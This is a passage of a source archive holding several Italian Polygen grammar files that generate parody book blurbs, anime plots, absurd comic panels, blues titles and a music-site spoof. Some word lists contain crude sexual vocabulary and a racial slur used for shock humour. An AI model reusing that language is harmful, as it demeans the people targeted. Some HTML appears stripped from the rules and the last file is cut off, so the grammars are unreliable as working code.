INGREDIENTI (AGGPLURALIM|AGGPLURALIN) e INGREDIENTI (AGGPLURALIM|AGGPLURALIN)| la nuova^"," attesissima prova di un maestro del GENERESEMPLICE | lotta per LOTTAPER^"," lobby LOBBYDEL^"," PICCANTI^":" questi ingredienti fanno di questo seguito di TITOLO non solo un GENERESEMPLICE DIAGG^"," ma anche un ritratto impietoso RITRATTI NAZIONE e TIPO DIAGG | TIPO di TRENDNEGATIVO^"," di TRENDNEGATIVO^"," di TRENDNEGATIVO^"," di TRENDNEGATIVO e di TRENDNEGATIVO^"." | TIPO che e' insieme GENERI2^"," GENERI2^"," GENERI2 e GENERI2 | TIPO di enorme potenza e di grande atmosfera^"," ESAG | INGREDIENTI (AGGPLURALIM|AGGPLURALIN) e INGREDIENTI (AGGPLURALIM|AGGPLURALIN) in un GENERESEMPLICE ESAG | una storia sconvolgente^"," ESAG | GENERESEMPLICE senza fine| quelli di \COGNOMI sono thriller con l'anima [come (lui solo|lei sola) sa fare]| l'inventore del LEGAL thriller^"," lo scrittore piu' letto al mondo | uno AGGETTIVO GENERESEMPLICE nella migliore tradizione di \NOMI \COGNOMI | se TITOLO vi ha fatto paura^"," non leggete questo libro^"!" | quel genere di libro che i lettori cercano sempre^"," ma che raramente riescono a trovare^":" avvincente^"," corposo^"," DA| un romanzo affascinante (come|ne^"'"piu^"'"ne^"'"meno di|alla stregua di) TITOLO^"." \vi fara' trattenere il fiato ad ogni pagina | un ottimo romanzo^"," cupo ed entusiasmante^"," ricco di eventi inquietanti e personaggi singolari | TIPO meraviglioso^"," con un'atmosfera che coinvolge completamente il lettore | (non mi perdo mai|sarebbe una follia perdersi|non manco mai|non mi lascio mai sfuggire) un libro di \NOMI \COGNOMI | con questo GENERESEMPLICE^"," \NOMI \COGNOMI SILENZIO [e lo fa] presentandoci TIPO ESAG| [\da non credere^":"|\incredibile^":"|--\che sorpresa^":"]ogni libro (di|della) \COGNOMI e' migliore del precedente| TIPO che esisteva solo nei nostri sogni piu' arditi[^":" grazie \COGNOMI^"!"]| [--c'e'poco da fare^":"] dopo TITOLO^"," \COGNOMI ha partorito (l'ennesimo|un altro|un nuovo) capolavoro| \un romanzo di \NOMI \COGNOMI^"," dal tocco ilare e corrosivo ; ESAG ::= ((che sfida il| al di la' del) (tempo|confine del tempo e dello spazio) | come non se ne leggevano da tempo | magistralmente (costruito|congegnato|ideato|cesellato)^"," che schiude al lettore le porte del mistero e dell'ignoto annidati ai confini della realta^"'") ; SILENZIO::= rompe il silenzio|interrompe un silenzio durato ANNI ; ANNI::= cinque anni|tre anni|otto anni|piu^"'" di dieci anni|venticinque anni|quasi quarant^"'"anni ; DA::= da divorare fino all'ultima pagina|da leggere tutto di un fiato|da prendere e non mollare fino alla fine|da assaporare lentamente|da gustare con calma ; LEGAL ::= legal|medical ; GENERI2::= romanzo d'avventura|autobiografia|racconto di viaggio|reportage|inchiesta giornalistica|ricerca di se'|novella fantastica|romanzo picaresco|saggio psicologico ; TRENDNEGATIVO::= vite quotidiane|noia|fatica|adrenalina|violenza|coscienza|scoperta di se'|passioni|entusiasmi|disillusioni|pessimismo|fastidio|malattie dell'anima|piccoli piaceri perduti|cose semplici|sorrisi stentati|lacrime di gioia|pene|lavoro duro|incoscienza|silenzi|incomunicabilita'|ignoranza|degrado|coscienze perdute|amori perduti|strazio ; LOTTAPER::= la presidenza|la candidatura|il potere|la supremazia|il successo ; LOBBYDEL::= dell'industria delle armi|dell'industria militare|della mafia (sportiva|edilizia|industriale|del terziario avanzato|politicizzata|informatica)|dell'informazione globale|delle telecomunicazioni|della politica estera|della globalizzazione|dell'antiamericanismo|del terrorismo internazionale|repubblicane|democratiche ; PICCANTI::= grande tensione|perversioni e debolezze umane|scandali familiari|incesti nascosti|provocante sensualita'|scambio di coppia|pruriti erotici|tradimenti insospettabili|ninfomania|legami spezzati ; RITRATTI::= dei vertici del potere|dei gruppi di potere|delle minoranze etniche|delle lobby clientelari|del machismo imperante|del clientelismo|del nepotismo|della corruzione dell'ambiente|dell'ecosistema|dell'uomo politico medio ; DIAGG::= di forte impatto emotivo|di scottante attualita'|di sensazionale interesse|di immensa risonanza|di straordinaria modernita' ; INGREDIENTI::= buoni sentimenti|emozioni|personaggi|passioni|ossessioni|eventi|personaggi ; INGREDIENTE::= erotismo|suspance|amore|introspezione ; AGGPLURALIM::= perfettamente cesellati|magistralmente tracciati|fortemente caratterizzati|scolpiti nella memoria|credibili[^ssimi] ; AGGPLURALIF::= perfettamente cesellate|magistralmente tracciate|fortemente caratterizzate|scolpite nella memoria|credibili[^ssime] ; AGGPLURALIN::= indimenticabili|inquietanti|surreali|singolari|sconcertanti|affascinanti|coinvolgenti|magistrali|impareggiabili|agghiaccianti|terrificanti|inarrivabili|inimitabili ; AGGSINGOLAREM::= indimenticabile|inquietante|surreale|singolare|perfettamente cesellato|magistralmente tracciato|scolpito nella memoria|sconcertante|credibilissimo|affascinante|coinvolgente|magistrale|impareggiabile|agghiacciante|terrificante|inarrivabile|inimitabile ; AGGFEMACCR ::= straordinaria|grande|immensa|epica|vincente|esplosiva|incandescente ; AGGESAG ::= sconvolgente|drammatica|intensa|scottante|incredibile ; GENFEM ::= storia d'amore|epopea|saga familiare|narrazione ; AGGDESCR ::= romantica|sensuale|passionale|travolgente|avvincente|avvolgente ; COMPARATIVO ::= miglior|>(piu' AGGETTIVO) ; GENERESEMPLICE ::= giallo|thriller|horror|fantasy|terrore ; GENERE ::= della paura|del terrore|della passione|del thriller|dell^"'"eros ; TIPO ::= una storia|un racconto|un libro|un romanzo|un saggio|un'opera ; COGNOMI ::= cook | king | harris | zimmer \bradley | follett | sheldon | harvey | highsmith | deaver | koontz | smith | clancy | silva | taibo "II" | brooks | cornwell | connelly | cook | grisham | craven | campbell | davidson ; NOMI ::= thomas | robert | marion | ken | sydney | "p.j." | patricia | jeffery | dean | wilbur | tom | daniel | paco \ignacio | terry | tabitha | michael | robin | john | wes | ramsey | lionel ; GIORNALI ::= (\GIORNALI1 \GIORNALI2 | \GIORNALITALIANI); GIORNALI1 ::= the \wednesday | the \new \york | the \los \angeles | literary | the \seattle | the \washington | publishers | reader's ; GIORNALI2 ::= observer | enquirer | bulletin | writer | post | times | harald | reporter | tattler | digest | weekly ; GIORNALITALIANI ::= panorama | l^"'"^\espresso | la \stampa | tutto\libri | the \times ; NAZIONE ::= italiano | venezuelano | spagnolo | austriaco | tedesco | inglese | afroamericano | latino | americano | camerunense | asiatico | mondiale | internazionale | lettone | estone | lituano | slovacco | rumeno ; AGGETTIVO ::= convincente|entusiasmante|straziante|straniante|dolce|appassionante|sconvolgente ; AGGETTIVOMALE ::= delicato|azzeccato|intenso|riuscito|ipnotico ; AGGETTIVOFEMALE ::= delicata|azzeccata|intensa|riuscita ; TITOLO ::= "'"^([\un|\il] \Nomemale (-\[--Pm] \Agg ^ o | \Aggneutro) | [\una|\la]\Nomefemale (-\[--Pf] \Agg ^ a | \Aggneutro))^"'" ; Nomemale ::= lamento | sciacallo | elefante | martirio | aereo | uomo | maschio | alluce | piede | paranco | universo | pianeta | satellite | recinto | castello | cestello | ortaggio | salume | mistero | segreto | labirinto | mondo | amante | [il] \prete | gioco | dilemma | enigma | insetto | cristallo | progetto | protocollo | grimorio | computer | armadio | prigioniero | panfilo | killer | esperimento | il \codice | dolore | corpo | sonetto | amico | nemico | ricordo | capezzolo | seno | oggetto | delta | sesso | profumo | elemento | scheletro | cespuglio | insegnante | stregone | cavaliere | templare | barbaro | principe | guerriero | drago | antico | animale | cammello | storico | netturbino | tassista | cranio | teschio | fallo | membro | calciatore | ereditiere | coprofago | mandingo | superdotato | genio | professore | analista | dottore | nano | centometrista | tossico | (caporale | tenente | generale | maresciallo | soldato | [sub^]comandante) | rivoluzionario | ladro | banchiere | milionario | carisma | sogno | desiderio | costumista | planetario | museo | grattacielo | cancelliere | clitoride | altipiano | nomade | grido | fagiano | cosacco | giornalista | massaggiatore ; Nomefemale ::= odissea | puttana | origine | donna | femmina | latrina | citta' | nazione | amante | [la] \suora | olimpiade | crisalide | nave | penisola | capanna | spada | catena | macchina | cantante | prigioniera | amazzone | cortigiana | principessa | contessa | fiammiferaia | assassina | infermiera | scelta | spiritualita' | fiamma |prima \indagine | ombra | dimensione | guerra | indagine | poesia | morte | vita | vendetta | nostalgia | patata | musica | proiezione | casa | nudita' | coscia | gamba | nuca | pelata | strega | fata | regina | subalterna | soldatessa | insegnante | parrucchiera | assistente | vagina | caviglia | assemblea | arteria | vena | pelle | pelliccia | pasta | bistecca | nomade | comunista | impiegata | operaia | sfiga | passeggiatrice | peripatetica | religiosa | carcerata | condannata | esteta | odontoiatra ; Agg ::= punit | stort | maial | bastard | infinit | maledett | astut | rott | spezzat | lucidat | incanalat | misterios | eretic | erotic | nebbios | laconic | eclettic | illuminat | sodomit | crocifiss | inalberat | obbligat | occult | perfett | malfatt | magic | ner | esterefatt | cocciut | ostinat | perpless | incendiari | malavitos | mafios | politic | infinit | colorat | dorat | dolcissim | magnetic | muscolos | plastic | odios | assurd | incenerit | stranier | compaesan | campagnol | italian | pericolos | venezian | partigian | oscur | pettinat | scollacciat | umid | secc | mort | viv | calamitat | allungat | accorciat | estes | malvestit | sicilian | adornat | lavorat | scardinat | cattolic | metallar | paninar | egocentric | allunat | allupat | selvaggi | educat | malat | san | zombizzat | sodomizzat | inesplorat | invasiv | indebitat | polverizzat | scompost | rallentat | acellerat | muschiat | depilat | scorticat | disossat | disotterrat | congelat | surgelat | amalgamat | scuoiat | allampanat | fecondat | smemorat | prodigios | sant | miracolos | attempat | esplosiv | dinamitard | terrorist | scroccon | profumat | antidiluvian | primitiv | futur | ammazzat | assassinat | colombian | rastafarian | caleidoscopic | dardeggiat | stupid | scem | archeologic | marpion | cuccat | scaricat | rubat | sottratt | limitrof | gaglioff | lesbic | padan | incendiat | infiammat ; Aggneutro ::= infernale | epocale | trash | dandy | universale | del \paradiso | assorbente | nel buio | di luce | nella \nebbia | di \shannara | della \paura | in \catene | degli \ombrelli | di \marte | da \mangiare | degli \dei | sopra \il \cielo | sa \tutto | del \vento | boreale | nel \tempo | inesorabile | senza \paura | in \famiglia | di \piacere | d'^\oriente | fa \schifo | del \dolore | del \piacere | ^":" \poemi | di \venere | di \guerra | senza \nome | in \trappola | a \beverly \hills | a \hollywood | a \bagdad | in \croce | ^":" \il \ritorno | di \ilse | da \possedere | di \carta | infallibile | inarrestbile | difficile | inaffidabile | del buio | assiale | dell'^\aria | sessuale | anale | di \pietra | d'^\acciaio | invernale | primaverile | splendente | maleodorante | ambientale | kitch | calabrese | buddista | new \wave | della \trancia | di \medellin | dei \miei \(primi|ultimi) (10|20|30|40|50|60|70|80) \anni | dell'^\amore | della \specie | ^":" \la \rivolta | del \dubbio ; Pm ::= bello | tutto | alquanto | stranamente | assurdamemte | parzialmente | laconicamente | crudelmente | brutto | piuttosto | fortemente ; Pf ::= bella | tutta | alquanto | stranamente | assurdamente | parzialmente | laconicamente | crudelmente | brutta | piuttosto | fortemente ; polygen-1.0.6.ds2/grm/ita/GATA.grm0000644000175000017500000001722610340417034015773 0ustar enricoenricoI ::= "title: G.A.T.A. - Generatore Automatico Trame Anime\n" ^ "author: ZeD <zed.est.deus@gmail.com>\n" ^ "language: italian\n" ^ "status: embrional\n" ^ "topic: anime\n" ^ "audience: anybody\n" ^ "disclaim: aiuta anche tu, partecipa all' ampliamento del G.A.T.A.!\n" ^ "created: 14/11/2004" ; S ::= (A (B C D).(HAR|HOR) E F G H Ii J K).(MA|FE); A ::= (MA: AM | FE: AF )^","; Fin1 ::= (MA: "o " | FE: "a "); Lui ::= (MA: "lui" | FE: "lei"); Gli ::= (MA: "gli" | FE: "le"); Lo ::= (MA: "lo" | FE: "la"); Il ::= (MA: "il" | FE: "la"); AM ::= ( "Un ragazzino che non sa fare niente" | "Un ragazzo insulso e senza niente di particolare" | "Un ragazzo assatanato e sempre intento a dare la caccia alle ragazze"| >( ("Un bambino pigro e svogliato" | "Un bambino irrequieto e sempre in movimento" | "Un orfano" ) ["che vive con il suo fratello minore"]) | >( ("Un giovanotto con una faccia da teppista, ma in realta' di buon cuore"| ("Un ragazzino che vorrebbe essere il miglior " A4 " del Giappone")| ("Un ragazzo che in realta' e'" A2 )) ^[", e comunque sempre intento a dare la caccia alle ragazze"])| "Un ragazzo con la faccia da ragazza" ); AF ::= ( "Una ganguro" | "Un'orfanella" | "Una ragazza posata e tranquilla" | "Una extraterrestre molto sexy" | "Una ragazza con la faccia da ragazzo" | >( "Una ragazza che sogna di diventare una" A1 ) ); A1 ::= "principessa" | "ballerina" | "speleologa" | "biologa" ; A2 ::= A3 | ( "un ragazzo che crede di essere" A3 ) ; A3 ::= "una ragazza" | "un robot" | "un adulto rimpicciolito" | "un extraterrestre" | "un vegetale" | "un'entita' cosmica parassitaria" | "una deita' giudicatrice" | "un antico faraone redivivo" | "un ragazzo" ; A4 ::= "pugile" | "pescatore" | "calciatore" | "giocatore di baseball" | "ciclista" | "pilota" | "piastrellista" | "tramviere" ; B ::= ( Bloc | (("viene arruolat"^ Fin1 ^"come pilota" Bsoc) | ("salva un" B1 "da alcuni ragazzini che lo perseguitano.\n" Bconj Bloc)| ("viene assunt"^ Fin1 ^ "come" B2 Bsoc)) ); Bsoc ::= ("da una potente organizzazione non governativa,"| "da un corpo special e delle forze di autodifesa giaponesi,"| "da un istituto di ricerca," | "da un gruppo di criminali,"); Bconj ::= ("A seguito di questo" | "Dopo questo fatto"); Bloc ::= (HAR:"finisce per vivere in una casa con tante belle ragazze,"| HOR:("entra di nascosto nel sotterraneo del tempio dei suoi avi," | "cade in un pozzo nel giardino di casa sua,")) ; B1 ::= "gattino" | "conglietto" | "folletto" | "porcellino" | "polipo" ; B2 ::= "uomo delle pulizie" | "cuoco" ; C ::= ( "dove avvengono equivoci e situazioni piu' o meno piccanti," | ("dove trova un demone intenzionato a mangiarse"^Lo^",") | ("dove trova una demonessa intenzionata a sposar"^Lo^",") | ("dove viene mess"^Fin1 "alla guida di un robot gigante che" "salvera' il mondo,") | ("dove trova" Ccount "di" Cwhat "di tutti i tipi e dimensioni," )| ("dove riceve" C1 "che" Gli "permette di trasformarsi in" C2 "e" Gli "dona insoliti poteri,") | ("dove viene colpit"^ Fin1 "da un'improbabile maledizione che" Lo "rende follemente desiderat"^ Fin1 Cdes "ogni volta che in televisione" "appare il capo del governo,") | "dove risolve un misterioso rompicapo, e, come ricompensa, viene" "possedut"^Fin1 "dallo spirito di un antico giocatore di" "scacchi dalle dubbie tendenze,")^ "dato che" ; Ccount ::= "una quantita` inenarrabile" | "un' infinita`" [numerabile] | "un discreto numero" ; Cwhat ::= "belle ragazze" | "robottoni giganti" | "bei ragazzi" | "demoni"; Cdes ::= "dai ragazzi" | "dalle ragazze" | "da un trans"; C1 ::= "un medaglione incantato" | "una spatola magica" | "un orologio magico" | "una bacchetta fatata" ; C2 ::= "animale" |7 "deita'" | "demone" | "robot" | "puffo" | "folletto" ; D ::= ( HAR:("a turno tutte queste si innamorano di" Lui ) | HOR:((( Lui "e'" Il "prescelt" ^ Fin1) | ("e' il figli" ^ Fin1 "dello scienziato pazzo") | ("e' la reincarnazione della regina di Atlantide, e dotat"^Fin1^ "dei suoi formidabili poteri") | ("e' stat" ^ Fin1 ^ "colpit"^Fin1^"in testa da un muflone, " "e ha acquisito dei misteriosi super-poteri") | ("quella che tiene in mano e' un'arma mistica, e per pura fortuna" Lui "e'" Il "prim" ^ Fin1 " che la tocca da diciassettemila anni," "divenendo l'unic" ^ Fin1 "in grado di utilizzarla contro l'incombente malvagita'") | ("e'"Il " figli"^Fin1 "segreto dell'Imperatore delle Tenebre," "anche se non lo sa")| ("e' stato mors"^Fin1 " da un " D1 " radioattivo") | ("e' finit"^Fin1 "nel pastrufatore genetico insieme al suo" D1 ^", e i due si sono fusi" ))))^ ".\n"; D1 ::= "cane" | "gatto" | "topo" | "criceto" | "tamagotchi" ; E ::= ( "Le ragazze provano a offrirgliela in tutti i modi," "anche i piu' plateali e"| "Immani mostri distruttori arrivano in quantita', in ordine alfabetico," "ciascuno con il suo bravo numero. Sempre uno alla volta. Tuttavia" | "Ovunque vada, avvengono misteriosi furti ed omicidi, che prova" "a risolvere, ma" ); F ::= ( ( Lui "non capisce assolutamente _mai_") | ( Lui "capisce tutto, ma ha ben altre mete, e la sua figura svetta" "possente contro" ( "la luna alta nel cielo" | "il sole al tramonto sul mare") "(si arrampica apposta su una torre)" ) | ( Lui "capisce tutto, e si trasforma immediatamente in un maniac"^Fin1 "voglios"^ Fin1 ^", al che" ( MA: "le fanciulle" | FE: " i ragazzi" ) "con terrore" Lo "respingono e il ciclo ricomincia da capo") ) ^ ".\n"; G ::= ( "Nell'ultimo episodio," | "Nel penultimo episodio" | "Nel terzultimo episodio, gli ultimi due" G1 | "Nel primo episodio, che misteriosamente e' identico all'ultimo" ); G1 ::= "non vengono trasmessi per le proteste dei genitori" | "vengono perduti" | ( "vengono perduti e la seconda volta, al loro posto, trasmettono" "un patchwork dei disegni avanzati" ) ; H ::= ( "quando finalmente sta per dichiararsi alla sorella-non-di-sangue, " "assistiamo frementi alle ultime battute." | "sta per sconfiggere il Supremo Re dei Morti" | "viene spiegato nei minimi dettagli cos'e' un Sarchiapone, e come ha" "controllato fino a quel punto le esistenze dei protagonisti" | "acquista improvvisamente il potere supremo, lo sc****o cosmico" | ("acquista finalmente coscienza di se stess"^Fin1 ) )^".\n"; Ii ::= ( "Lei" | "Il Re del Male" | "Il Re della Distruzione" | "L'Imperatore delle Tenebre" | "Lo Czar della Mannarite" ) ("dice: \"" | "gli dice pacatamente: \"" ) ^ I1 ^".\n" ; I1 ::= "hiroshi... vorresti un te'?\"" | "Mi ami?\"" | "Lo sai che hai la faccia simile a quella di una scimmia?\"" | I2 | ("Ascolta" ^ ( "mi bene" | ", ragazz"^Fin1 ) ^ ":" I2 ) | ("Noi non dobbiamo combattere: vedi, io, in realta', sono" I3 "ed esibisce un contratto matrimoniale dell'anno prima, quando il " "protagonista si era sbronzato a capodanno." ) | "Babbo, babbo!\"" | "Sai che ore sono? Ho perduto l'orologio!\"" ; I2 ::= "ho scoperto... che siamo veramente fratelli!\" *singhiozzi*" | (("figli"^Fin1 "mi"^Fin1^"... io sono" | "noi siamo nemici, ma, in realta'... io sono" ) I3 ) ; I3 ::= "tuo padre\"" | "tuo nonno\"" | "tua moglie\"" | "tuo Zio!\"" | "tuo Cuggino!\"" | "tuo Cognato!\"" | "tua Suocera!\"" ; J ::= ( "E " Lui ": \"" | "Infine" Lui "risponde: \"" ) ^ ( "...volentieri\"." | "Sai? Era tanto tempo che desideravo dirtelo. Anche se mi" "chiamo Oscar, in realta' io sono... una donna!!!\"" | "Stando cosi` le cose, giochereremo i tempi supplemetari\"" ) ^ "\n"; K ::= ( "Fine." | "La storia continua in un'altra dimensione." | "Era tutto un sogno." | "La storia si rivela un flashback nella mente di... " ); polygen-1.0.6.ds2/grm/ita/gleba.grm0000644000175000017500000001353310340417034016326 0ustar enricoenricoI ::= "title: Fumetti della Gleba\n" ^ "author: Alan aka ^anakin^ <alanzap@email.it>\n" ^ "language: bad italian\n" ^ "status: refinable\n" ^ "topic: fumetti\n" ^ "audience: dementi\n" ^ "comment: basato sui Fumetti della Gleba del Dr. Pira (http://www.drpira.250x.com/)\n" ^ "created: 31/10/2004\n" ^ "modified: 4/9/2004"; S ::= "" Vignetta Vignetta "" Vignetta Vignetta "" Vignetta Vignetta "

"^Titolo^"

" "
"; Titolo ::= ""^ ([("IL" ("FANTASTICO"|"FANTASMAGORICO"|"MERAVIGLIOSO") "MONDO" | "LE" ["FANTASTICHE"] "AVVENTURE" | "LA VITA") ("DI"|"DELL'AMICO DI"|"DEL COMPAGNO DI")] Persone | "LA GENTE CHE" Azioni Luoghi ["CON" Oggetti] | (["IL"] Persone|Oggetti) ("E"|"IN:") [("IL FANTASTICO MONDO" | "LE AVVENTURE" | "LA VITA" | "LE VICENDE") "DI"] ("IL" Persone|Oggetti) [Luoghi] | (Persone | Oggetti) | Persone Azioni | [(Persone|Oggetti) "IN:"] "UNA GIORNATA" AggFS [Luoghi] | AzioniInfinito (Oggetti|"IL" Persone) | (Persone|Oggetti) ("IN:"|"CONTRO") (Persone|Oggetti) [Luoghi] ) ["("^(("PRIMO"|"SECONDO"|"TERZO") ("TEMPO"|"INTERVALLO")|"VERSIONE ECONOMICA DEL FILM"|"TRAILER"|"RIMASTERIZZATO"|"VERSIONE ORIGINALE"|"REMAKE")^")"] ^""; URL ::= "http://alanzap.altervista.org/gleba/"; Immagine ::= URL^(1|2|3|4|5|6|7|8|9|10|11|12|13|14|14|15|16|17|18|19|20|21)^".gif"; Vignetta ::= ""^(+Frase | Esclamazione | Risposte | -Botte )^""; Frase ::= ( ("E' PROPRIO UNA"|"OH CHE") "GIORNATA" AggFS |(["EV"^]"VIVA"|"AMO"|"ODIO"|"CHE SCHIFO")("IL" Persone|Oggetti) |("SPACCHIAMO"|"DISTRUGGIAMO"|"MANGIAMO"|"COLORIAMO"|"FACCIAMO OPERAZIONI SU"|"FACCIAMO ESPERIMENTI SU") Oggetti |("UCCIDIAMO"|"PARLIAMO CON"|"INSULTIAMO"|"STIRIAMO") "IL" Persone |["NON"] "MI PIACE" AzioniInfinito (Oggetti|"IL" Persone) |("GUARDA"|"ASCOLTA"|"SENTI"|"OSSERVA") Oggetti^"!" |"CIAO" ("AMICO"|Persone) |("METTIAMO"|"INFILIAMO"|"APPOGGIAMO"|"CREIAMO") Oggetti "SU" Oggetti |("A"|"DI"|"DA"|"DU") ("A"|"DI"|"DA"|"DU") ("A"|"DI"|"DA"|"DU") |["GUARDA,"^] "E' POSSIBILE CHE" ("DOMANI"|"TRA UNA SETTIMANA") ("MUORI"|"SBOCCHI"|"STRIPPI"|"SCHIATTI") |((((("D"|"B"|"L"|"F"|"G")^("A"|"E"|"I"|"O"|"U"))+)+)+)+ |("VEDO"|"NON VEDO" ["PIU'"]|"HO PERSO"|"VORREI"|"DATEMI"|"VOGLIO"|"INCENDIO"|"INVESTO") Oggetti |["CIAO,"^] "IO" ["NON"] "SONO IL" Persone |-"DA QUANDO" ("ABITO"|"SONO STATO"|"SONO ANDATO") Luoghi "LA MIA" ("VITA"["SESSUALE"]|"ESISTENZA") "E'" AggFS |("OH NO"|"CHE BELLO"|"GUARDA"[^"TE"]) (^", C'E' IL" Persone|Oggetti) |"TI INFILO" Oggetti ("NEL CULO"|"NEL SEDERE"|"NELLE NARICI"|"NEGLI OCCHI"|"NELLE ORECCHIE") |"ME L'HA DETTO" ("UN MIO AMICO"|"IL" Persone) ["CHE DI SOLITO NON DICE" ("CAZZATE"|"MINCHIATE"|"STRONZATE")] |("MI TROVO"|"VENITE"|"SONO") Luoghi |("OGGI"|"DOMANI") ["NON"] "E' IL GIORNO" ("GIUSTO"|"ADATTO"|"IDEALE") "PER" AzioniInfinito ("IL" Persone|Oggetti) ) [-^" .."^Esclamazione|_]; AggFS ::= ("BELLA"|"SPLENDIDA"|"BRUTTA"|"MERAVIGLIOSA"|"ORRIBILE"|"ODIOSA"|"MERDOSA"|"DI MERDA"|"DI CACCA"); Azioni ::= ("VA"|"MUORE"|"SI SIEDE"|"STRIPPA"|"CANTA"|"HA PAURA"|"SI TOGLIE LA VITA"); AzioniInfinito ::= ("GUARDARE"|"UCCIDERE"|"PARLARE CON"|"OSSERVARE"|"FARE DISCORSI CON"|"GIOCARE CON"|"STRIPPARE CON"); Luoghi ::= ("NEL NASO DI" Persone | "NELLE SCARPE DI" Persone |"A ISTAMBUL" | "A DALLAS CITY" | "A LEGOLAND" | ("SU"|"DENTRO"|"SOPRA") Oggetti | "A DISNEYLAND" ); Oggetti ::= ("IL NASO DI" Persone | "LE SEDIE" | "LE PANTOFOLE" | "L'ASTRONAVE" | "IL TELEFONO" | "LE CIPOLLE" | "I PANINI" | "I SASSI" | "LE FRITTATE" | "LE FAVE" | "LA BICICLETTA" | "I POSSESSORI DELLE SMART" | "LE VECCHIE" | "LE FOTO DEGLI ANZIANI" | "IL POLYGEN" | "IL TRATTORE" | "I FIORI" | "GLI ALBERI" | "I POMODORI" | "LE ZUCCHINE" | "I COMODINI" | "LE PENNE BIC" | "I SASSOLINI" | "I BUDINI" | "LA SMART" | "UN" ["MINI"^] ("CANE"|"GATTO"|"TOPO")^("CANE"|"GATTO"|"TOPO")| "I NEGRI" | "LE SCIMMIE"|"IL PYRAGEN"); Persone ::= ("SIGNOR" | "MISTER" | "CAPITAN" | "COWBOY" | "PROFESSOR" | "DOTTOR") ("UOMO" | "YOUGHURT" | "BUDINO" | "BANANA" | "SCARPO" | "MARIONETTA" | "PATELLA" | "FIBBIA" | "BILLI" | "AMENDOLA" | "LAU TSU" | "SBADALUFFO" | "GIACOBBE" | "GABONZO" | "RUUUD GULLIT" | "ALAMBICCO" | "GIUSTIZIA" | "FRANCHINO" | "GIGI" | "JOHN TRAVOLTA" | "BATMAN" | "ROBIN" | "JIM" | "GESU'" | "PRIEBKE" | "OMINO" | "FUFFI" | "ORSO" | "PYROMAN" | "T" | "ARNOLFO" | "DAIGO" | "SPILIMBERGO" | "PIRA" | "PIERO ANGELA") [("STRIPPATO" | "IL ROBOT" | "IL SUPEREROE" ["GIUSTO"] | "DI MARZAPANE" | "GIGANTE" | "CHE SBOCCA" | "CHE STRIPPA" | "IL CONIGLIETTO" | "IL PANDA" | "MAGICO" |"DELLA GIUSTIZIA"|"BUONO"|"CATTIVO")]; Esclamazione ::= ("SONO" ["PROPRIO"] ("ESTEREFATTO"|"STUPEFATTO")|"E' STUPEFACENTE"|"EVVIVA"|"CHE BELLO"|"VIVA" Oggetti|"VIVA IL" Persone|"CHE RIDERE"|(("HAHA"|"HAHAHA")+)+| Persone "E'" ("UN IDIOTA"|"UN IMBECILLE"|"UNO STRONZO"|"UN DEMENTE"|"UN PIPPAIOLO")|"GIUSTIZIA E' FATTA" | "CHE BEL TRAMONTO" | "SONO" ["PROPRIO"] ("SODDISFATTO"|"OTTIMISTA")|"E' INCREDIBILE") [^("!"|"!!")]; Risposte ::= ("A"|"A OK"|"OK"|"VA BENE"|("SI'"|"NO") [(^",E' VERO"|"DAI")]|"IO CI CREDO")[+^",CIAO"]^("!"|"."|--_); Botte ::= ("PEM" | "CRAC" | "ZAC" | "SBAM" | "AI"^(^"A")+ | ("EE"^(^"E")+|"UU"^(^"U")+|"OO"^(^"O")+))^("!"|"!!");polygen-1.0.6.ds2/grm/ita/blues.grm0000644000175000017500000000461610340417034016370 0ustar enricoenricoI ::= "title: Titoli Canzoni Blues\n" ^ "author: gigiriva\n" ^ "language: italian\n" ^ "status: " \LUOGOT "\n" ^ "topic: music\n" ^ "audience: tu\n" ^ "comment: " (blues|-----(jazz|----death metal)) is NOMEM "\n" ^ "created: 20 agosto 2005" ; S ::= "" TITOLO "" " (" ^ANNO^ ") " "\n \n" ; TITOLO::= (NOMEM|-------NOMEF) [("&" | with | and ) the ORCH | ++++++ _] ("-"| ---^":") CANZONE ; ANNO ::= 19^(----1|-2|3|4)^(1|2|3|4|5|6|7|8|9|0) ; NOMEM ::= \["rev."| "mr."| STATO| CITY | +++blind | big | sleepy | whiskey| happy | fast |country | papa |tired | fat | dollar| slim |crippled | dumb |deaf|++ _] \NOM \COGN ; NOMEF ::= \[mama | "miss." | "mrs." | +++++_] \(bessie | mama | pamela | -----------gianna | lou | mary | marilyn | billie | ella | essa | et[^t]^a | ida | clara | sarah | janis | tampa | hilary | odetta | doretta | lucille | clementine | dolly | baby | clar[^iss]^a | NOM^ette ) \(COGN | ------_) ; NOM ::= \(robert | willie | charl^(ie|es|y)| ++john[^ny|+++_] | james | fred | napoleon |red | walter| ---- (o|+u)^sama ["Bin"] | sid | jack | sam | bama | bubu | lemon | slim | forrest | joe | george ["W."]| matt | bo |lonnie | homer | jesus | sidney | bill ) ; COGN ::= ["Mc"^|++_] \(water[^s]| +++johnson |++ jackson | lewis | james[^on] | richard[^s[^on]] | young | +smith | henry | morton | red | ---corleone | broonzy | hart | carter | quack | clennan | hammond | dowell | hurt | tell | arnold | rooney | memphis | stark | man | jefferson | simpson | house) ; ORCH ::= \(+++++LUOGOT |NOMEM | NOMEF | NOM | COGN[^s]) [^"'s"|++++++++++_] \[+++jazz | blues | ---church |++++_ | --jail] \(orchestra | band | ----(masnada | cupola | gang bang)) ; CANZONE ::= (LUOGOT \(blues |------(rag| -song)) | \NOM \(blues | rag)) ; STATO ::= \(+++++mississipi | missouri | [ar^]kansas | texas | california | mexico | america |michigan | ++alabama | illinois | georgia | (south | north) "Carolina"| tennesee | --alaska | florida | oklahoma | ---(argentina | cuba | liechtenstein | malta | kamchakta | nepal)) ; LUOGOT := (STATO|CITY) ; CITY ::= \(chicago| "New Orleans" | orlando | memphis | denver | NOM(^ville | ^town | "City") | --(havana | timbuktu | bazzano | "Rio De Janeiro" | tokyo | lambrate )) ; polygen-1.0.6.ds2/grm/ita/allmusic.grm0000644000175000017500000001541610340417034017067 0ustar enricoenricoI ::= "title: Allmusic\n" ^ "author: Alan aka ^anakin^ <alanzap@email.it>\n" ^ "status: refinable\n" ^ "topic: music\n" ^ "comment: parodia (o sostituto) di allmusic.com\n" ^ "created: 26/05/2005"; S ::= "" "
" (+Bands | BandsTrash) "
" ClBlu "Style
    " ClOro ((("
  • " Genere^["/"^Genere^]"
  • ")+)+)+ Genere ^"
" "
" ClBlu "Similar Artists
    " ClOro (((Band)+)+)+ Band^"
" ["
" ClBlu "Followers
    " ClOro (((Band)+)+)+ Band^"
"] "
"; ClBlu := ""; ClOro := ""; Band ::= "
  • "(+Bands | BandsTrash)"
